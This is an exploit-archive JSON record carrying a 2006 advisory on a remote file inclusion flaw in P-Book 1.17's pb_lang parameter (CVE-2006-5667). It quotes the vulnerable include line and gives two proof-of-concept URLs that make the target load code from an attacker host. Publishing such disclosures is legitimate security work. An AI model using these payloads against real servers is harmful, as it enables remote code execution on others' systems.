{"exploit":{"id":"EDB-2691","name":"P-Book 1.17 - 'pb_lang' Remote File Inclusion (RFI)","description":"P-Book 1.17 - 'pb_lang' Remote File Inclusion (RFI)","cves":["CVE-2006-5667"],"author":"Matdhule","published":"2006-10-31","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2691","path":"exploits/php/webapps/2691.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2691.txt","vulnerabilities":[{"id":"CVE-2006-5667","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP remote file inclusion vulnerabilities in P-Book 1.17 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the pb_lang parameter to (1) admin.php and (2) pbook.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5667","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5667"},"updatedAt":"2024-08-07T19:55:54.139Z","retrievedAt":"2026-11-27T05:13:06.370Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2691.png?v=2","url":"https://exploitbin.com/exploits/EDB-2691","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2691/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2691/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"____________________   ___ ___ ________\n\\_   _____/\\_   ___ \\ /   |   \\\\_____  \\\n |    __)_ /    \\  \\//    ~    \\/   |   \\\n |        \\\\     \\___\\    Y    /    |    \\\n/_______  / \\______  /\\___|_  /\\_______  /\n        \\/         \\/       \\/         \\/                              .OR.ID\nECHO_ADV_56$2006\n\n------------------------------------------------------------------------------\n[ECHO_ADV_56$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion\n------------------------------------------------------------------------------\n\nAuthor\t\t: Ahmad Maulana a.k.a Matdhule\nDate Found\t: October, 18th 2006\nLocation\t: Indonesia, Jakarta\nweb\t\t: http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt\nCritical Lvl\t: Highly critical\nImpact\t\t: System access\nWhere\t\t: From Remote\n---------------------------------------------------------------------------\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nApplication\t: P-Book\nversion\t\t: 1.17\nURL\t\t: http://www.PPoPn.net\n\n---------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~~~~~~\n\nI found vulnerability script admin.php\n\n-----------------------admin.php----------------------\n....\n<?\n\n$time = $reload * 60;\ninclude(\"$pb_lang/language.php\");\n...\n----------------------------------------------------------\n\nInput passed to the \"pb_lang\" parameter in admin.php is not\nproperly verified before being used. This can be exploited to execute\narbitrary PHP code by including files from local or external\nresources.\n\nAlso affected files:\npbook.php\n\nProof Of Concept:\n~~~~~~~~~~~~~~~\n\nhttp://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt?\nhttp://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt?\n\nSolution:\n~~~~~~~\n- Sanitize variable $pb_lang on affected files.\n\n---------------------------------------------------------------------------\nShoutz:\n~~~\n~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)\n~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous\n~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama\n~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com\n~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net\n------------------------------------------------------------------------\n---\nContact:\n~~~~\n\n     matdhule[at]gmail[dot]com\n\n-------------------------------- [ EOF ]----------------------------------\n\n# milw0rm.com [2006-10-31]","sha256":"5d7974f0b5e57794b146b2bc514974e1bcd1433cfa36e9d2052cc05c0ba52a53","bytes":2442,"fetchedAt":"2026-11-27T05:12:59.258Z","encoding":"utf-8 (display only; download retains original bytes)"}